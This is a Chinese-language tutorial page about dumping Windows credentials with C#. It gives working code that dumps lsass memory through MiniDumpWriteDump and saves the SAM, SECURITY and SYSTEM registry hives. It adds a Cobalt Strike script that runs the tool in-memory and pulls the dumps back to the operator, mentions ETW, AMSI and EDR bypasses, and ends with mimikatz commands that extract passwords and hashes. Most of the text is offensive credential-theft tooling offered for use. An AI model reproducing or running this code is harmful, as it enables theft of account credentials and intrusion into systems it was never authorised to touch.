经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 大数据/云/AI » SAS » 查看文章
C# dump系统lsass内存和sam注册表详细
来源:jb51  时间:2021/9/27 9:23:53  对本文有异议

1、检测权限

因为dump系统lsass内存和sam注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。

  1. public static bool IsHighIntegrity()
  2. {
  3. // returns true if the current process is running with adminstrative
  4. privs in a high integrity context
  5. var identity = WindowsIdentity.GetCurrent();
  6. var principal = new WindowsPrincipal(identity);
  7. return principal.IsInRole(WindowsBuiltInRole.Administrator);
  8. }
  9.  

2、lsass内存

MiniDumpWriteDumpMS DbgHelp.dll 中一个API, 用于导出当前运行的程序的Dump,利用MiniDumpWriteDump实现dump lsass内存的功能,先加载MiniDumpWriteDump函数。

  1. [DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump",
  2. CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
  3. ExactSpelling = true, SetLastError = true)]
  4. public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint
  5. processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr
  6. userStreamParam, IntPtr callbackParam);
  7.  

之后调用函数,并保存dump文件,代码如下所示:

  1. namespace sharpdump
  2. {
  3. public class MiniDumper
  4. {
  5. public static string MiniDump()
  6. {
  7. Process[] pLsass = Process.GetProcessesByName("lsass");
  8. string dumpFile = Path.Combine(Path.GetTempPath(),
  9. string.Format("lsass{0}.dmp", pLsass[0].Id));
  10. if (File.Exists(dumpFile)) File.Delete(dumpFile);
  11. Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}",
  12. pLsass[0].Id, dumpFile));
  13. using (FileStream fs = new FileStream(dumpFile, FileMode.Create,
  14. FileAccess.ReadWrite, FileShare.Write))
  15. {
  16. bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id,
  17. fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
  18. if (bRet)
  19. {
  20. Console.WriteLine("[+] Dump successful!");
  21. return dumpFile;
  22. }
  23. else
  24. {
  25. Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode:
  26. {0}", Marshal.GetLastWin32Error()));
  27. return null;
  28. }
  29. }
  30. }
  31. }
  32. }
  33.  

3、实现reg save保存sam注册表

首先导入需要用到的API。

  1. [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
  2. public static extern int RegOpenKeyEx(
  3. UIntPtr hKey,
  4. string subKey,
  5. int ulOptions,
  6. int samDesired,
  7. out UIntPtr hkResult
  8. );
  9.  
  10. [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
  11. public static extern int RegSaveKey(
  12. UIntPtr hKey,
  13. string lpFile,
  14. IntPtr lpSecurityAttributes
  15. );
  16.  
  17. [DllImport("advapi32.dll", SetLastError = true)]
  18. public static extern int RegCloseKey(
  19. UIntPtr hKey
  20. );

然后构建函数,对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。

  1. namespace sharpdump
  2. {
  3. internal class Reg
  4. {
  5. public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
  6. public static int KEY_READ = 0x20019;
  7. public static int KEY_ALL_ACCESS = 0xF003F;
  8. public static int REG_OPTION_OPEN_LINK = 0x0008;
  9. public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
  10. public static int KEY_QUERY_VALUE = 0x1;
  11. public static void ExportRegKey(string key, string outFile)
  12. {
  13. var hKey = UIntPtr.Zero;
  14. try
  15. {
  16. RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE |
  17. REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey);
  18. //https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
  19. RegSaveKey(hKey, outFile, IntPtr.Zero);
  20. RegCloseKey(hKey);
  21. Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
  22. }
  23. catch (Exception e)
  24. {
  25. throw e;
  26. }
  27. }
  28. public static string DumpReg(string key)
  29. {
  30. try
  31. {
  32. String addr = key + ".hiv";
  33. addr = Path.Combine(Path.GetTempPath(), addr);
  34. ExportRegKey(key, addr);
  35. return addr;
  36. }
  37. catch (Exception e)
  38. {
  39. Console.WriteLine(e.Message);
  40. Console.WriteLine(e.StackTrace);
  41. return "";
  42. }
  43. }
  44. }
  45. }
  46.  

文件会被dumptemp目录下,然后对所有dump成功的文件进行打包处理,方便下载。完整代码稍后上传至知识星球。

4、关于ExecuteAssembly

ExecuteAssembly是CS可执行组件的一个替代方案,ExecuteAssembly基于C/C++构建,可以帮助广大研究人员实现.NET程序集的加载和注入。

ExecuteAssembly复用了主机进程spawnto来加载CLR模块/AppDomainManagerStomping加载器/.NET程序集PE DOS头,并卸载了.NET相关模块,以实现ETW+AMSI绕过。除此之外,它还能够绕过基于NT静态系统调用的EDR钩子,以及通过动态解析API(superfasthash哈希算法)实现隐藏导入。

当前metasploit-frameworkCobalt Strike都已经实现了ExecuteAssembly功能,下面主要以Cobalt Strike为例,实现dump系统lsass内存和sam注册表的功能

5、CS 插件

以结合 Cobalt Strike 为例,编写一个简单的cna脚本。

  1. popup beacon_bottom {
  2. menu "Dumper" {
  3. item "SharpDump"{
  4. local('$bid');
  5. foreach $bid ($1){
  6. bexecute_assembly($1, script_resource("Dumper.exe"));
  7. }
  8. }
  9. item "DownloadDump"{
  10. prompt_text("File's address to download", "", lambda({
  11. bdownload(@ids, $1);
  12. }, @ids => $1));
  13. }
  14. }
  15. }
  16.  

加载脚本后,执行SharpDump,结果如下所示:

下载存放在temp目录下的dump.gz,然后使用Decompress解压,最后使用mimikatz 解密用户lsass.dmpsam文件

  1. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
  2.  
  3. lsadump::sam /sam:sam.hiv /system:system.hiv

到此这篇关于C# dump系统lsass内存和sam注册表详细的文章就介绍到这了,更多相关C# dump系统lsass内存和sam注册表内容请搜索w3xue以前的文章或继续浏览下面的相关文章希望大家以后多多支持w3xue!

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号